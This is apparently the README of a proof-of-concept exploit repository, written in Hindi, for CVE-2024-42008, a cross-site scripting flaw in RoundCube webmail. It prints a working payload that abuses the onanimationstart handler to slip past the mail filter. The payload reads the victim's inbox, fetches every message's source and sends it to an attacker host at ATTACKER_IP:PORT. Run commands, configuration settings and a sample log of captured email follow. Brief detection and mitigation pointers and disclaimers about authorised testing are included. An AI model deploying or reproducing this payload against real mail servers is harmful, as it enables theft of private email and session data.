
CVE-2024-42008 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, RoundCube वेबमेल में एक क्रॉस-साइट स्क्रिप्टिंग भेद्यता। अधिकृत पेनिट्रेशन टेस्टिंग वातावरण में ईमेल, क्रेडेंशियल्स और सत्र टोकन चुराने के लिए संपर्क फॉर्म के माध्यम से XSS पेलोड वितरित करता है।
इस रिपॉजिटरी में CVE-2024-42008 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण शामिल है, जो RoundCube वेबमेल एप्लिकेशन में एक क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है। यह शोषण शैक्षिक उद्देश्यों और HackTheBox जैसे नियंत्रित पैठ परीक्षण वातावरण के लिए डिज़ाइन किया गया है।
भेद्यता rcmail_action_mail_get->run() में मौजूद है और दूरस्थ हमलावरों को पीड़ितों के ब्राउज़र में मनमाना जावास्क्रिप्ट निष्पादित करने की अनुमति देती है। यह दोष ईमेल सामग्री को संसाधित करते समय अपर्याप्त इनपुट सत्यापन से उत्पन्न होता है, विशेष रूप से CSS एनिमेशन और जावास्क्रिप्ट निष्पादन संदर्भों को संभालने में।
मुख्य हमला वेक्टर:
onanimationstart इवेंट हैंडलर सामग्री फ़िल्टर को बायपास करते हैंसफल शोषण हमलावरों को अनुमति देता है:
शोषण में तीन मुख्य घटक होते हैं:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
स्क्रिप्ट को कॉन्फ़िगर करने के लिए संपादित करें:
ATTACKER_IP: आपका सुनने वाला सर्वर IPATTACKER_PORT: निकाले गए डेटा प्राप्त करने के लिए पोर्टRECIPIENT_EMAIL: लक्ष्य ईमेल पताTARGET_URL: कमजोर RoundCube इंस्टेंसPROXY: डीबगिंग के लिए प्रॉक्सी सर्वर (Burp Suite/Caido)| विकल्प | विवरण |
|---|---|
-d, --debug | प्रॉक्सी समर्थन के साथ डीबग मोड सक्षम करें |
-c, --continuous | पेलोड लगातार भेजें |
-i, --interval | पेलोड के बीच अंतराल (डिफ़ॉल्ट: 30s) |
पहचान संकेतक:
onanimationstart इवेंट हैंडलरशमन रणनीतियाँ:
परीक्षण संबंधी विचार:
⚠️ चेतावनी: यह शोषण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
यह कोड केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए प्रदान किया गया है। इस सॉफ़्टवेयर के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं हैं। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा सुनिश्चित करें कि आपके पास उचित प्राधिकरण है।